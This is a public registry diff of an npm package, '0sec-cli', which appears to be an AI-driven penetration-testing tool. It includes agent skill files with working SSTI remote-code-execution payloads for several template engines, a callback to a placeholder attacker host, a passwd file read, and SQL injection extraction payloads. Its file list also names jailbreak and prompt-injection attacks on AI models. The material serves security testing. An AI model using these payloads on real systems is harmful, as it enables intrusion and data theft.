0sec-cli 0.15.0 → 0.18.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (209) hide show
  1. package/0sec.js +327 -0
  2. package/README.md +68 -48
  3. package/attacks/data-exfiltration/pii-leakage.yaml +27 -0
  4. package/attacks/encoding-bypass/base64-encoding.yaml +24 -0
  5. package/attacks/jailbreak/dan-roleplay.yaml +27 -0
  6. package/attacks/jailbreak/hypothetical-scenario.yaml +25 -0
  7. package/attacks/jailbreak/multilingual-bypass.yaml +22 -0
  8. package/attacks/output-manipulation/harmful-content.yaml +25 -0
  9. package/attacks/prompt-injection/context-manipulation.yaml +32 -0
  10. package/attacks/prompt-injection/direct-injection.yaml +28 -0
  11. package/attacks/prompt-injection/indirect-injection.yaml +33 -0
  12. package/attacks/system-prompt-extraction/direct-ask.yaml +30 -0
  13. package/attacks/system-prompt-extraction/markdown-exfil.yaml +26 -0
  14. package/attacks/tool-misuse/ssrf-via-tools.yaml +27 -0
  15. package/chunks/adapt-loop-SMH6V4PD.js +18 -0
  16. package/chunks/adgraph-JLGA6RYI.js +54 -0
  17. package/chunks/agent/skills/frameworks/entra-id.yaml +63 -0
  18. package/chunks/agent/skills/frameworks/graphql-introspection.yaml +116 -0
  19. package/chunks/agent/skills/frameworks/nextjs.yaml +82 -0
  20. package/chunks/agent/skills/frameworks/python-web.yaml +85 -0
  21. package/chunks/agent/skills/frameworks/supabase.yaml +83 -0
  22. package/chunks/agent/skills/frameworks/wordpress-deep.yaml +122 -0
  23. package/chunks/agent/skills/techniques/ad-attack-paths.yaml +57 -0
  24. package/chunks/agent/skills/techniques/advisory-disclosure.yaml +59 -0
  25. package/chunks/agent/skills/techniques/assumption-mining.yaml +53 -0
  26. package/chunks/agent/skills/techniques/blind-exploitation.yaml +143 -0
  27. package/chunks/agent/skills/techniques/crypto-misuse.yaml +88 -0
  28. package/chunks/agent/skills/techniques/cve-poc-adaptation.yaml +82 -0
  29. package/chunks/agent/skills/techniques/entra-attack-paths.yaml +55 -0
  30. package/chunks/agent/skills/techniques/http-conformance-diff.yaml +48 -0
  31. package/chunks/agent/skills/techniques/jwt-attacks.yaml +137 -0
  32. package/chunks/agent/skills/techniques/kernel-weaponization.yaml +53 -0
  33. package/chunks/agent/skills/techniques/llm-excessive-agency.yaml +55 -0
  34. package/chunks/agent/skills/techniques/llm-insecure-output-handling.yaml +56 -0
  35. package/chunks/agent/skills/techniques/llm-prompt-injection.yaml +54 -0
  36. package/chunks/agent/skills/techniques/llm-prompt-layer-write.yaml +68 -0
  37. package/chunks/agent/skills/techniques/llm-rag-poisoning.yaml +57 -0
  38. package/chunks/agent/skills/techniques/llm-safety-eval.yaml +51 -0
  39. package/chunks/agent/skills/techniques/npm-ecosystem.yaml +51 -0
  40. package/chunks/agent/skills/techniques/poc-verification.yaml +55 -0
  41. package/chunks/agent/skills/techniques/race-condition.yaml +122 -0
  42. package/chunks/agent/skills/techniques/scoped-fix.yaml +49 -0
  43. package/chunks/agent/skills/techniques/seedless-depth-review.yaml +59 -0
  44. package/chunks/agent/skills/techniques/spec-differential.yaml +48 -0
  45. package/chunks/agent/skills/techniques/variant-hunting.yaml +55 -0
  46. package/chunks/agent/skills/vulnerabilities/cardano-eutxo-validators.yaml +72 -0
  47. package/chunks/agent/skills/vulnerabilities/command-injection.yaml +99 -0
  48. package/chunks/agent/skills/vulnerabilities/deserialization-chains.yaml +106 -0
  49. package/chunks/agent/skills/vulnerabilities/native-memory-safety.yaml +93 -0
  50. package/chunks/agent/skills/vulnerabilities/path-traversal.yaml +78 -0
  51. package/chunks/agent/skills/vulnerabilities/prototype-pollution.yaml +132 -0
  52. package/chunks/agent/skills/vulnerabilities/request-smuggling.yaml +129 -0
  53. package/chunks/agent/skills/vulnerabilities/sqli-advanced.yaml +102 -0
  54. package/chunks/agent/skills/vulnerabilities/ssrf-bypass.yaml +84 -0
  55. package/chunks/agent/skills/vulnerabilities/ssti-exploitation.yaml +112 -0
  56. package/chunks/agent/skills/vulnerabilities/structural-sqli.yaml +91 -0
  57. package/chunks/appsec-catalog-CBWHGTEL.js +24 -0
  58. package/chunks/artifact-scraper-HQ7HLP6V.js +34 -0
  59. package/chunks/assumption-mining-5SNIVVDN.js +79 -0
  60. package/chunks/chunk-242TMK6G.js +110 -0
  61. package/chunks/chunk-2JCCA2JL.js +381 -0
  62. package/chunks/chunk-2RMLOJVB.js +47 -0
  63. package/chunks/chunk-3KPWWJCI.js +1422 -0
  64. package/chunks/chunk-3MOLBTLS.js +953 -0
  65. package/chunks/chunk-53G27VPS.js +136 -0
  66. package/chunks/chunk-57ZENEX2.js +169 -0
  67. package/chunks/chunk-5G3ZXFBW.js +182 -0
  68. package/chunks/chunk-5JI7L7KV.js +74240 -0
  69. package/chunks/chunk-6L26OBWI.js +1094 -0
  70. package/chunks/chunk-6LKRLK2R.js +542 -0
  71. package/chunks/chunk-72CISA2D.js +2597 -0
  72. package/chunks/chunk-7DQEV5QI.js +287 -0
  73. package/chunks/chunk-AD7WXDH6.js +3250 -0
  74. package/chunks/chunk-ADOLI6DT.js +102 -0
  75. package/chunks/chunk-AHTBZC3E.js +596 -0
  76. package/chunks/chunk-ASUR522M.js +518 -0
  77. package/chunks/chunk-ATATQACO.js +471 -0
  78. package/chunks/chunk-BATRQBOR.js +1732 -0
  79. package/chunks/chunk-BFR2CDV5.js +5735 -0
  80. package/chunks/chunk-BFRB6HB2.js +235 -0
  81. package/chunks/chunk-BKZFDZ23.js +361 -0
  82. package/chunks/chunk-BVAZO4WA.js +193 -0
  83. package/chunks/chunk-BZNEY2ZS.js +33225 -0
  84. package/chunks/chunk-C2WXWFBB.js +1070 -0
  85. package/chunks/chunk-CMKXP5RR.js +917 -0
  86. package/chunks/chunk-DW5UWPFY.js +275 -0
  87. package/chunks/chunk-F3WBKITT.js +687 -0
  88. package/chunks/chunk-GMT2AZKM.js +2439 -0
  89. package/chunks/chunk-H2FFLZNK.js +3 -0
  90. package/chunks/chunk-IOL7D5YV.js +515 -0
  91. package/chunks/chunk-IR537GON.js +49 -0
  92. package/chunks/chunk-JQHOLLTD.js +3729 -0
  93. package/chunks/chunk-KLTNTE2Z.js +121 -0
  94. package/chunks/chunk-LP3HHYQU.js +245 -0
  95. package/chunks/chunk-MYVT64FN.js +16 -0
  96. package/chunks/chunk-N7BOUYEV.js +852 -0
  97. package/chunks/chunk-OEFNRYI2.js +150 -0
  98. package/chunks/chunk-P6WKNFWX.js +1968 -0
  99. package/chunks/chunk-QI233I24.js +333 -0
  100. package/chunks/chunk-RJWOYEOG.js +271 -0
  101. package/chunks/chunk-RRMJC3ZE.js +105 -0
  102. package/chunks/chunk-RWONANDA.js +973 -0
  103. package/chunks/chunk-SAFFWQW4.js +5921 -0
  104. package/chunks/chunk-SF4KZ4O3.js +502 -0
  105. package/chunks/chunk-SVJEDVYK.js +808 -0
  106. package/chunks/chunk-TSK2AG6J.js +5108 -0
  107. package/chunks/chunk-U5FLXGHT.js +2010 -0
  108. package/chunks/chunk-UCYRA73C.js +662 -0
  109. package/chunks/chunk-UR4ELX2Y.js +4784 -0
  110. package/chunks/chunk-VQG4FT5D.js +685 -0
  111. package/chunks/chunk-WEBMRWEG.js +9337 -0
  112. package/chunks/chunk-WU6AFRAZ.js +1167 -0
  113. package/chunks/chunk-WVTBZEQO.js +1531 -0
  114. package/chunks/chunk-WXQ6BJ6A.js +596 -0
  115. package/chunks/chunk-XM5NLHYU.js +600 -0
  116. package/chunks/chunk-YLMN3N25.js +4054 -0
  117. package/chunks/chunk-YYRBQVFE.js +2572 -0
  118. package/chunks/chunk-Z5FA2XOX.js +2798 -0
  119. package/chunks/commands-TBC2F5CE.js +16999 -0
  120. package/chunks/corpus-v1.json +403 -0
  121. package/chunks/cost-ledger-NU63MYZM.js +13 -0
  122. package/chunks/data/appsec-archetypes.json +102 -0
  123. package/chunks/data/chromium-archetypes.json +204 -0
  124. package/chunks/data/freebsd-archetypes.json +171 -0
  125. package/chunks/data/kernel-archetypes.json +611 -0
  126. package/chunks/db-KFWOAUUB.js +16 -0
  127. package/chunks/disclose-EKTWSCGW.js +132 -0
  128. package/chunks/dist-4MAW5X6L.js +74 -0
  129. package/chunks/dist-4YICS2J2.js +2776 -0
  130. package/chunks/dist-FMGSR3DW.js +159 -0
  131. package/chunks/eval-runner-7ZF472KV.js +27 -0
  132. package/chunks/example-manifest.json +95 -0
  133. package/chunks/exploit-agent-45YQOHPJ.js +98 -0
  134. package/chunks/exploit-autoclimb-UZGEMGYT.js +81 -0
  135. package/chunks/exploit-climb-SG23KB2G.js +358 -0
  136. package/chunks/fix-IG7LYXH3.js +12 -0
  137. package/chunks/github-issues-MJ6OYOOU.js +157 -0
  138. package/chunks/harness-7ODOLOWU.js +22 -0
  139. package/chunks/http-conformance-DU66MZIU.js +11 -0
  140. package/chunks/http-sender-GWH2IYEA.js +10 -0
  141. package/chunks/hunt-scan-MMKUOETU.js +38 -0
  142. package/chunks/identity-6ZAIIWOR.js +191 -0
  143. package/chunks/kernel-primitive-7U6CWHXD.js +44 -0
  144. package/chunks/kernel-vm-runner-3JAU4O6J.js +62 -0
  145. package/chunks/memsafety-scan-J7SECV5W.js +16 -0
  146. package/chunks/native-loop-RJCJPOUS.js +54 -0
  147. package/chunks/npm-detectors-KB5Y5ZFX.js +69 -0
  148. package/chunks/npm-dynamic-discovery-AHROOZDB.js +13 -0
  149. package/chunks/orchestrate-OC2VZN2X.js +62 -0
  150. package/chunks/pipeline-BZK5BLJR.js +14 -0
  151. package/chunks/pre-recon-cve-66EB6G4M.js +351 -0
  152. package/chunks/prepare-MYY743TK.js +13 -0
  153. package/chunks/process-LQRCS5OY.js +13 -0
  154. package/chunks/replay-runner-45G3VU7X.js +39 -0
  155. package/chunks/run-D56MPDKY.js +32716 -0
  156. package/chunks/runtime-G7YWIO3B.js +43 -0
  157. package/chunks/runtime-J7PLXZNM.js +12 -0
  158. package/chunks/scan-stream-FHI2FYZE.js +96 -0
  159. package/chunks/scope-BI7BF4ZY.js +18 -0
  160. package/chunks/session-store-GZ4A4KYT.js +28 -0
  161. package/chunks/source-files-PWRQR6LY.js +12 -0
  162. package/chunks/specdrift-WCLH6TTQ.js +19 -0
  163. package/chunks/variant-candidates-YERCYMPD.js +13 -0
  164. package/chunks/web-recon-prepass-JJGPEOLE.js +1148 -0
  165. package/dashboard/assets/0sec-icon-66SreztZ.gif +0 -0
  166. package/dashboard/assets/bot-yILPnRgD.js +1 -0
  167. package/dashboard/assets/chevron-down-BeDJ-Vka.js +1 -0
  168. package/dashboard/assets/circle-alert-BEnMBMT-.js +1 -0
  169. package/dashboard/assets/client-DRYsuOGl.js +9 -0
  170. package/dashboard/assets/copy-Bi5vzoF9.js +1 -0
  171. package/dashboard/assets/desktop-CXTQonNm.js +32 -0
  172. package/dashboard/assets/desktop-NOekk4QS.css +1 -0
  173. package/dashboard/assets/dist-CmX-h7a4.js +1 -0
  174. package/dashboard/assets/dist-DAwYQmf_.js +45 -0
  175. package/dashboard/assets/findings-page-CACW9nw2.js +5 -0
  176. package/dashboard/assets/format-PoISqsES.js +1 -0
  177. package/dashboard/assets/geist-cyrillic-ext-wght-normal-DjL33-gN.woff2 +0 -0
  178. package/dashboard/assets/geist-cyrillic-wght-normal-BEAKL7Jp.woff2 +0 -0
  179. package/dashboard/assets/geist-latin-ext-wght-normal-DC-KSUi6.woff2 +0 -0
  180. package/dashboard/assets/geist-latin-wght-normal-BgDaEnEv.woff2 +0 -0
  181. package/dashboard/assets/geist-vietnamese-wght-normal-6IgcOCM7.woff2 +0 -0
  182. package/dashboard/assets/ibm-plex-mono-cyrillic-400-normal-BSMlKf0J.woff2 +0 -0
  183. package/dashboard/assets/ibm-plex-mono-cyrillic-400-normal-CEL4l2ZJ.woff +0 -0
  184. package/dashboard/assets/ibm-plex-mono-cyrillic-ext-400-normal-DMdlQ8Kv.woff +0 -0
  185. package/dashboard/assets/ibm-plex-mono-cyrillic-ext-400-normal-xuaO2J-f.woff2 +0 -0
  186. package/dashboard/assets/ibm-plex-mono-latin-400-normal-CvHOgSBP.woff +0 -0
  187. package/dashboard/assets/ibm-plex-mono-latin-400-normal-DMJ8VG8y.woff2 +0 -0
  188. package/dashboard/assets/ibm-plex-mono-latin-ext-400-normal-BmRBH3aV.woff2 +0 -0
  189. package/dashboard/assets/ibm-plex-mono-latin-ext-400-normal-D3D2R8hC.woff +0 -0
  190. package/dashboard/assets/ibm-plex-mono-vietnamese-400-normal-BulugwFq.woff2 +0 -0
  191. package/dashboard/assets/ibm-plex-mono-vietnamese-400-normal-DDuiU_S-.woff +0 -0
  192. package/dashboard/assets/jsx-runtime-C7oxC63R.js +1 -0
  193. package/dashboard/assets/live-page-DrgQqQK5.js +1 -0
  194. package/dashboard/assets/meta-tile-CcskIV_o.js +1 -0
  195. package/dashboard/assets/operations-BKE8T-vY.css +2 -0
  196. package/dashboard/assets/operations-D8nUP5_m.js +4 -0
  197. package/dashboard/assets/operations-app-CQQhG54n.js +2 -0
  198. package/dashboard/assets/overview-page-DTGS8dPo.js +1 -0
  199. package/dashboard/assets/page-header-MFVvEtZW.js +1 -0
  200. package/dashboard/assets/play-Dwo-9xt6.js +1 -0
  201. package/dashboard/assets/scans-page-ChVtq8Us.js +1 -0
  202. package/dashboard/assets/search-CiooTLck.js +1 -0
  203. package/dashboard/assets/siren-CCBwTSuk.js +1 -0
  204. package/dashboard/assets/table-BYS-nIVA.js +1 -0
  205. package/dashboard/assets/tabs-DivxbhQy.js +1 -0
  206. package/dashboard/desktop.html +21 -0
  207. package/dashboard/index.html +15 -0
  208. package/package.json +30 -18
  209. package/bin/0sec.cjs +0 -361
@@ -0,0 +1,112 @@
1
+ id: ssti-exploitation
2
+ name: "SSTI Detection and RCE Escalation"
3
+ description: "Server-Side Template Injection detection, engine identification, and RCE escalation across Jinja2, Twig, Freemarker, Velocity, Pebble, and Mako."
4
+ version: 1
5
+ applicable_roles:
6
+ - attack
7
+ - audit
8
+ tags:
9
+ - ssti
10
+ - template-injection
11
+ - rce
12
+ - jinja2
13
+ - twig
14
+ - freemarker
15
+ - mako
16
+ - pebble
17
+ triggers:
18
+ - "\\{\\{.*\\}\\}"
19
+ - "\\$\\{.*\\}"
20
+ - "<%=.*%>"
21
+ - "jinja"
22
+ - "twig"
23
+ - "freemarker"
24
+ - "thymeleaf"
25
+ - "mako"
26
+ - "velocity"
27
+ - "pebble"
28
+ - "template.*engine"
29
+ - "render.*template"
30
+ - "\\b49\\b"
31
+ estimated_tokens: 800
32
+ content: |
33
+ ## SSTI Detection and RCE Escalation
34
+
35
+ ### Phase 1: Polyglot Detection Probes
36
+ Send these probes to every user-controlled input that might reach a template:
37
+ ```
38
+ {{7*7}} → 49 = Jinja2, Twig, or Nunjucks
39
+ ${7*7} → 49 = Freemarker, Velocity, Mako, Thymeleaf
40
+ <%= 7*7 %> → 49 = ERB (Ruby), EJS (JS)
41
+ #{7*7} → 49 = Ruby (Slim/Haml), Pebble
42
+ #set($x=7*7)${x} → 49 = Velocity
43
+ ${T(java.lang.Math).random()} → float = Spring Expression Language (SpEL)
44
+ ```
45
+ If the output shows `49` or similar computed result, SSTI is confirmed.
46
+
47
+ ### Phase 2: Engine Fingerprinting
48
+ Narrow down the engine with type-specific probes:
49
+ - **Jinja2**: `{{config}}` returns Flask config dict, `{{self.__class__}}` works
50
+ - **Twig**: `{{_self.env.getFilter('id')}}` or `{{dump()}}` works; `{{config}}` does not
51
+ - **Freemarker**: `${.version}` returns engine version, `<#assign x=1>` works
52
+ - **Velocity**: `#set($a=1)$a` renders `1`, `$class.forName()` available
53
+ - **Mako**: `${self.module.__loader__}` works, Python syntax accepted
54
+ - **Pebble**: `{% set x = 7*7 %}{{x}}` renders `49`, `beans` keyword available
55
+ - **Thymeleaf**: `__${T(java.lang.Runtime).getRuntime().exec('id')}__` in URLs
56
+
57
+ ### Phase 3: Jinja2 RCE Escalation
58
+ Primary chain (most reliable):
59
+ ```
60
+ {{config.__class__.__init__.__globals__['os'].popen('id').read()}}
61
+ ```
62
+ Alternative chains when `config` is blocked:
63
+ ```
64
+ {{''.__class__.__mro__[1].__subclasses__()}}
65
+ ```
66
+ Find `subprocess.Popen` (usually index ~250-400), then:
67
+ ```
68
+ {{''.__class__.__mro__[1].__subclasses__()[INDEX]('id',shell=True,stdout=-1).communicate()}}
69
+ ```
70
+ Bypass `_` filter:
71
+ ```
72
+ {{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
73
+ ```
74
+
75
+ ### Phase 4: Twig RCE Escalation
76
+ Twig 1.x (legacy, direct exec):
77
+ ```
78
+ {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
79
+ ```
80
+ Twig 3.x (system via filter):
81
+ ```
82
+ {{['id']|filter('system')}}
83
+ ```
84
+ File read: `{{'/etc/passwd'|file_excerpt(0,50)}}`
85
+
86
+ ### Phase 5: Freemarker RCE
87
+ ```
88
+ <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
89
+ ```
90
+ Alternative: `${object.getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke(object.getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id")}`
91
+
92
+ ### Phase 6: Velocity RCE
93
+ ```
94
+ #set($rt=$class.forName("java.lang.Runtime"))
95
+ #set($m=$rt.getMethod("getRuntime"))
96
+ #set($r=$m.invoke(null))
97
+ $r.exec("id")
98
+ ```
99
+
100
+ ### Phase 7: Blind SSTI Confirmation
101
+ When output is not reflected:
102
+ - **Time-based**: `{{config.__class__.__init__.__globals__['os'].popen('sleep 5').read()}}` — 5s delay confirms
103
+ - **OOB callback**: `{{config.__class__.__init__.__globals__['os'].popen('curl http://ATTACKER:9000/ssti-confirmed').read()}}`
104
+ - **Error-based**: force a TypeError by accessing invalid index — error message may leak data
105
+ - **File write**: `{{config.__class__.__init__.__globals__['os'].popen('id > /tmp/ssti-proof.txt').read()}}` then read via LFI
106
+
107
+ ### Phase 8: Filter/WAF Bypass
108
+ - Replace `{{` with `{%print(...)%}` (Jinja2)
109
+ - Use `|attr()` filter to avoid dot notation: `''|attr('__class__')`
110
+ - Hex-encode underscores: `\x5f` instead of `_`
111
+ - Use `request.args` or `request.values` to pass payload components as URL params
112
+ - URL-encode entire payload in GET parameters
@@ -0,0 +1,91 @@
1
+ id: structural-sqli
2
+ name: "Structural / JSON-Key SQL Injection"
3
+ description: "SQL injection where the injectable surface is a JSON KEY / field name concatenated into SQL (ORDER BY, SELECT column, dynamic WHERE) — not a parameterised value. Driven by an error-message feedback loop that refines payloads over blind iterations."
4
+ version: 1
5
+ applicable_roles:
6
+ - attack
7
+ - audit
8
+ tags:
9
+ - sqli
10
+ - structural-sqli
11
+ - json-key
12
+ - blind-sqli
13
+ - order-by
14
+ - error-based
15
+ - database
16
+ triggers:
17
+ - "ORDER\\s+BY"
18
+ - "GROUP\\s+BY"
19
+ - "Unknown column '[^']*' in"
20
+ - "column \"[^\"]*\" does not exist"
21
+ - "Invalid column name"
22
+ - "no such column"
23
+ - "sort(_?by|Field|_?field|_?order|_?column)"
24
+ - "order(_?by|Field|_?field|_?column|_?dir)"
25
+ - "\"(sort|order|column|field|groupBy|orderBy)\"\\s*:"
26
+ - "near \"[^\"]*\": syntax error"
27
+ - "unrecognized token"
28
+ estimated_tokens: 700
29
+ content: |
30
+ ## Structural / JSON-Key SQL Injection
31
+
32
+ Most SQLi tooling (ZAP, commercial DAST) fuzzes JSON **values**. Values are
33
+ usually parameterised, so they find nothing. The high-value miss is when the
34
+ backend concatenates a JSON **key / field name** into SQL — these are almost
35
+ never parameterised because you can't bind an identifier:
36
+
37
+ - `ORDER BY ${key}` / `GROUP BY ${key}` (sort/pagination params)
38
+ - `SELECT ${key} FROM ...` (caller-chosen projection / column allow-list bug)
39
+ - dynamic `WHERE ${key} = ?` filter builders
40
+ - `{"sort": "name", "dir": "asc"}` → `ORDER BY name asc`
41
+
42
+ This is the "structural" vector. The surface is the **key**, not the value.
43
+
44
+ ### Step 1: Find key-driven SQL surfaces
45
+ Look for request bodies / params whose KEYS or key-values name columns:
46
+ `sort`, `sort_by`, `sortField`, `order`, `order_by`, `orderBy`, `column`,
47
+ `field`, `group_by`, `select`, `columns[]`, `filter[<key>]`. GraphQL/JSON
48
+ APIs with arbitrary filter objects are prime. The tell in error output:
49
+ `Unknown column '...'`, `column "..." does not exist`, `Invalid column name`,
50
+ `no such column` — the server tried your key AS an identifier.
51
+
52
+ ### Step 2: Drive the blind error-iteration loop
53
+ This is blind (no reflected data), so confirm via a differential error loop —
54
+ exactly what the `structural-sqli` probe module automates:
55
+
56
+ 1. **Break:** inject a key with a trailing quote: `name'`. A statement like
57
+ `SELECT name' FROM ...` is now unbalanced. A DB error confirms the key
58
+ reaches the parser.
59
+ 2. **Fingerprint:** read the error to pin the dialect:
60
+ - MySQL/MariaDB: "You have an error in your SQL syntax", "Unknown column"
61
+ - PostgreSQL: "unterminated quoted string at or near", PSQLException
62
+ - MSSQL: "Unclosed quotation mark", "Incorrect syntax near"
63
+ - Oracle: `ORA-NNNNN`, "quoted string not properly terminated"
64
+ - SQLite: "unrecognized token", "no such column"
65
+ 3. **Balance (refine):** re-close the quote and comment out the tail using the
66
+ DISCOVERED dialect's comment syntax — MySQL needs `-- ` (trailing space),
67
+ others accept `--`: `name'-- -`. If this now parses cleanly (no error)
68
+ while the bare `name'` errored, the key is being parsed as SQL → confirmed.
69
+ 4. **Iterate:** if the balanced close still errors, the dialect guess or
70
+ close syntax was wrong — refine and retry within budget.
71
+
72
+ ### Step 3: Prove impact (minimal, verification-oriented)
73
+ Once structural injection is confirmed on a key:
74
+ - `ORDER BY` boolean oracle: `...,(CASE WHEN (1=1) THEN name ELSE id END)` —
75
+ flips row order on a true/false condition without quotes.
76
+ - Error-based extraction (MySQL): `ORDER BY extractvalue(1,concat(0x7e,version()))`.
77
+ - Postgres: `ORDER BY 1=cast(version() as int)` surfaces the version in the
78
+ cast error.
79
+ Extract the **minimum** non-sensitive proof (DB version, `current_user`, one
80
+ `information_schema` row). Do NOT dump data.
81
+
82
+ ### Step 4: Emit the finding with the iteration trail
83
+ Save the finding with the ordered probe trail (each payload key → response
84
+ verdict → dialect), the confirming differential (broken errored, balanced did
85
+ not), and the dialect. Assume false-positive until the differential holds.
86
+
87
+ ### Why scanners miss this
88
+ Identifier-position injection has no quote/value to fuzz and no reflected
89
+ output — value-oriented scanners skip it. The key insight: keys naming SQL
90
+ identifiers are concatenated, and the error-message loop turns a blind
91
+ identifier surface into a confirmable one.
@@ -0,0 +1,24 @@
1
+ #!/usr/bin/env node
2
+ import { createRequire as __0secCreateRequire } from "node:module";
3
+ const require = __0secCreateRequire(import.meta.url);
4
+ import {
5
+ activeAppsecLensRegistryPath,
6
+ appsecArchetypeDigest,
7
+ appsecArchetypeToFinderLens,
8
+ appsecArchetypesPath,
9
+ appsecLensLedgerEntryDigest,
10
+ appsecUserArchetypesPath,
11
+ loadAppsecArchetypes,
12
+ loadAppsecFinderLenses
13
+ } from "./chunk-QI233I24.js";
14
+ import "./chunk-IR537GON.js";
15
+ export {
16
+ activeAppsecLensRegistryPath,
17
+ appsecArchetypeDigest,
18
+ appsecArchetypeToFinderLens,
19
+ appsecArchetypesPath,
20
+ appsecLensLedgerEntryDigest,
21
+ appsecUserArchetypesPath,
22
+ loadAppsecArchetypes,
23
+ loadAppsecFinderLenses
24
+ };
@@ -0,0 +1,34 @@
1
+ #!/usr/bin/env node
2
+ import { createRequire as __0secCreateRequire } from "node:module";
3
+ const require = __0secCreateRequire(import.meta.url);
4
+ import {
5
+ classifyReferences,
6
+ findCveArtifacts,
7
+ findRedHatTrackerUrls,
8
+ findUbuntuTrackerUrls,
9
+ normaliseCveId,
10
+ parseGhsaResponse,
11
+ parseNvdResponse,
12
+ parseOsvResponse,
13
+ parseRedHatTracker,
14
+ parseUbuntuTracker,
15
+ scoreCodeCandidate,
16
+ scoreRepoCandidate
17
+ } from "./chunk-SVJEDVYK.js";
18
+ import "./chunk-6L26OBWI.js";
19
+ import "./chunk-YLMN3N25.js";
20
+ import "./chunk-IR537GON.js";
21
+ export {
22
+ classifyReferences,
23
+ findCveArtifacts,
24
+ findRedHatTrackerUrls,
25
+ findUbuntuTrackerUrls,
26
+ normaliseCveId,
27
+ parseGhsaResponse,
28
+ parseNvdResponse,
29
+ parseOsvResponse,
30
+ parseRedHatTracker,
31
+ parseUbuntuTracker,
32
+ scoreCodeCandidate,
33
+ scoreRepoCandidate
34
+ };
@@ -0,0 +1,79 @@
1
+ #!/usr/bin/env node
2
+ import { createRequire as __0secCreateRequire } from "node:module";
3
+ const require = __0secCreateRequire(import.meta.url);
4
+ import {
5
+ ASSUMPTION_MODEL_VERSION,
6
+ assumptionsToHuntPlan,
7
+ buildFocusedCandidates,
8
+ buildFunctionBodyIndex,
9
+ computeEstablisherSets,
10
+ computeEstablisherWrappers,
11
+ crossCheckAssumptions,
12
+ dualViewSeamDecision,
13
+ heldLockIdsAt,
14
+ isCrossApiAssumption,
15
+ isMechanizableEstablisher,
16
+ loadAssumptionModel,
17
+ mineAssumptions,
18
+ normalizeAssumptions,
19
+ objectFieldAccesses,
20
+ objectTypeToken,
21
+ runAssumptionHunt,
22
+ scanDualViewContexts,
23
+ scanViolatingContexts,
24
+ scoreDualViewWeaponizability,
25
+ storeAssumptionModel,
26
+ subjectSelfEnforces
27
+ } from "./chunk-JQHOLLTD.js";
28
+ import "./chunk-3KPWWJCI.js";
29
+ import {
30
+ composeGate,
31
+ makeSkepticVerifier
32
+ } from "./chunk-BFR2CDV5.js";
33
+ import "./chunk-RJWOYEOG.js";
34
+ import "./chunk-BZNEY2ZS.js";
35
+ import "./chunk-YYRBQVFE.js";
36
+ import "./chunk-3MOLBTLS.js";
37
+ import "./chunk-P6WKNFWX.js";
38
+ import "./chunk-UCYRA73C.js";
39
+ import "./chunk-LP3HHYQU.js";
40
+ import "./chunk-KLTNTE2Z.js";
41
+ import "./chunk-72CISA2D.js";
42
+ import "./chunk-RRMJC3ZE.js";
43
+ import "./chunk-H2FFLZNK.js";
44
+ import "./chunk-WEBMRWEG.js";
45
+ import "./chunk-57ZENEX2.js";
46
+ import "./chunk-N7BOUYEV.js";
47
+ import "./chunk-UR4ELX2Y.js";
48
+ import "./chunk-ATATQACO.js";
49
+ import "./chunk-ADOLI6DT.js";
50
+ import "./chunk-6L26OBWI.js";
51
+ import "./chunk-YLMN3N25.js";
52
+ import "./chunk-DW5UWPFY.js";
53
+ import "./chunk-IR537GON.js";
54
+ export {
55
+ ASSUMPTION_MODEL_VERSION,
56
+ assumptionsToHuntPlan,
57
+ buildFocusedCandidates,
58
+ buildFunctionBodyIndex,
59
+ composeGate,
60
+ computeEstablisherSets,
61
+ computeEstablisherWrappers,
62
+ crossCheckAssumptions,
63
+ dualViewSeamDecision,
64
+ heldLockIdsAt,
65
+ isCrossApiAssumption,
66
+ isMechanizableEstablisher,
67
+ loadAssumptionModel,
68
+ makeSkepticVerifier,
69
+ mineAssumptions,
70
+ normalizeAssumptions,
71
+ objectFieldAccesses,
72
+ objectTypeToken,
73
+ runAssumptionHunt,
74
+ scanDualViewContexts,
75
+ scanViolatingContexts,
76
+ scoreDualViewWeaponizability,
77
+ storeAssumptionModel,
78
+ subjectSelfEnforces
79
+ };
@@ -0,0 +1,110 @@
1
+ #!/usr/bin/env node
2
+ import { createRequire as __0secCreateRequire } from "node:module";
3
+ const require = __0secCreateRequire(import.meta.url);
4
+ import {
5
+ estimateCost,
6
+ modelProvider,
7
+ splitCost
8
+ } from "./chunk-6L26OBWI.js";
9
+
10
+ // packages/core/dist/agent/cost-ledger.js
11
+ var ScanCostLedger = class {
12
+ inputTokens = 0;
13
+ outputTokens = 0;
14
+ cachedInputTokens = 0;
15
+ perModel = /* @__PURE__ */ new Map();
16
+ /**
17
+ * Fold one turn's token usage into the cumulative total. `model` (the
18
+ * session's pricing model) keys the per-model buckets the cost_breakdown
19
+ * is derived from; sessions without a model pick land in "unknown".
20
+ */
21
+ add(usage, model) {
22
+ this.inputTokens += usage.inputTokens;
23
+ this.outputTokens += usage.outputTokens;
24
+ this.cachedInputTokens += usage.cachedInputTokens ?? 0;
25
+ const key = model ?? "unknown";
26
+ const bucket = this.perModel.get(key) ?? { inputTokens: 0, outputTokens: 0, cachedInputTokens: 0 };
27
+ bucket.inputTokens += usage.inputTokens;
28
+ bucket.outputTokens += usage.outputTokens;
29
+ bucket.cachedInputTokens += usage.cachedInputTokens ?? 0;
30
+ this.perModel.set(key, bucket);
31
+ }
32
+ /** Cumulative estimated cost (USD) across every contributing session. */
33
+ costUsd(model) {
34
+ return estimateCost({
35
+ inputTokens: this.inputTokens,
36
+ outputTokens: this.outputTokens,
37
+ cachedInputTokens: this.cachedInputTokens
38
+ }, model);
39
+ }
40
+ /** Exact cumulative spend derived from the per-model buckets. */
41
+ totalCostUsd() {
42
+ return this.costBreakdown()?.costUsd ?? 0;
43
+ }
44
+ /** Cumulative usage for the final cloud cost_update event. */
45
+ tokenUsage() {
46
+ return {
47
+ inputTokens: this.inputTokens,
48
+ outputTokens: this.outputTokens,
49
+ cachedInputTokens: this.cachedInputTokens
50
+ };
51
+ }
52
+ /**
53
+ * The model every contributing session used, when they all agree (and it
54
+ * is a real model id, not the "unknown" bucket). Undefined for multi-model
55
